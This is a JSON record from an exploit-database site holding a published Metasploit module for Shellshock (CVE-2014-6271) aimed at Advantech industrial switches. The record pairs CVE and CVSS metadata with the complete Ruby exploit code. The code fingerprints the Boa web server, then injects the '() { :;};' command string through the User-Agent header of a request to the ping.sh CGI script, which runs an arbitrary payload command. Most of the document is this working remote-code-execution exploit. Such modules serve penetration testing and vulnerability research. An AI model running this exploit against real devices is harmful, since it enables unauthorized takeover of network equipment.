{"exploit":{"id":"MSF-linux--http--advantech_switch_bash_env_exec","name":"Advantech Switch Bash Environment Variable Code Injection (Shellshock)","description":"This module exploits the Shellshock vulnerability, a flaw in how the Bash shell handles external environment variables. This module targets the 'ping.sh' CGI script, accessible through the Boa web server on Advantech switches. This module was tested against firmware version 1322_D1.98.","cves":["CVE-2014-6271"],"author":"hdm","published":"2015-12-01","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/linux/http/advantech_switch_bash_env_exec.rb","path":"modules/exploits/linux/http/advantech_switch_bash_env_exec.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"advantech_switch_bash_env_exec.rb","vulnerabilities":[{"id":"CVE-2014-6271","state":"PUBLISHED","title":null,"titleSource":null,"description":"GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka \"ShellShock.\" NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2014-6271"},"updatedAt":"2025-10-22T00:05:36.342Z","retrievedAt":"2026-11-26T16:21:04.123Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--advantech_switch_bash_env_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--advantech_switch_bash_env_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--advantech_switch_bash_env_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--advantech_switch_bash_env_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Advantech Switch Bash Environment Variable Code Injection (Shellshock)',\n        'Description' => %q{\n          This module exploits the Shellshock vulnerability, a flaw in how the Bash shell\n          handles external environment variables. This module targets the 'ping.sh' CGI\n          script, accessible through the Boa web server on Advantech switches. This module\n          was tested against firmware version 1322_D1.98.\n        },\n        'Author' => 'hdm',\n        'References' => [\n          [ 'CVE', '2014-6271' ],\n          [ 'CWE', '94' ],\n          [ 'OSVDB', '112004' ],\n          [ 'EDB', '34765' ],\n          [ 'URL', 'https://www.rapid7.com/blog/post/2015/12/01/r7-2015-25-advantech-eki-multiple-known-vulnerabilities' ],\n          [ 'URL', 'https://access.redhat.com/articles/1200223' ],\n          [ 'URL', 'https://seclists.org/oss-sec/2014/q3/649' ]\n        ],\n        'Privileged' => false,\n        'Arch' => ARCH_CMD,\n        'Platform' => 'unix',\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\\x0A\\x0D\",\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'openssl generic'\n                        }\n        },\n        'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]],\n        'DefaultTarget' => 0,\n        'License' => MSF_LICENSE,\n        'DisclosureDate' => '2015-12-01',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => [],\n          'AKA' => ['Shellshock']\n        }\n      )\n    )\n    register_options([\n      Opt::RPORT(80)\n    ])\n  end\n\n  #\n  # CVE-2014-6271\n  #\n  def cve_2014_6271(cmd)\n    %{() { :;}; $(#{cmd}) & }\n  end\n\n  #\n  # Check credentials\n  #\n  def check\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/cgi-bin/ping.sh'\n    )\n    if !res\n      vprint_error(\"No response from host\")\n      return Exploit::CheckCode::Unknown('Could not determine the target status')\n    elsif res.headers['Server'] =~ /Boa\\/(.*)/\n      vprint_status(\"Found Boa version #{$1}\")\n    else\n      print_status(\"Target is not a Boa web server\")\n      return Exploit::CheckCode::Safe('The target is not vulnerable')\n    end\n\n    if res.body.to_s.index('127.0.0.1 ping statistics')\n      return Exploit::CheckCode::Detected('The target service was detected')\n    else\n      vprint_error(\"Target does not appear to be an Advantech switch\")\n      return Exploit::CheckCode::Safe('The target is not vulnerable')\n    end\n  end\n\n  #\n  # Exploit\n  #\n  def exploit\n    cmd = cve_2014_6271(payload.encoded)\n    vprint_status(\"Trying to run command '#{cmd}'\")\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => '/cgi-bin/ping.sh',\n      'agent' => cmd\n    )\n  end\nend\n","sha256":"a4cbf1b6660a84dd2ac2b76bb9b4045e0921851e21a48e377b51f8f0d76d197a","bytes":3197,"fetchedAt":"2026-11-27T00:58:51.444Z","encoding":"utf-8 (display only; download retains original bytes)"}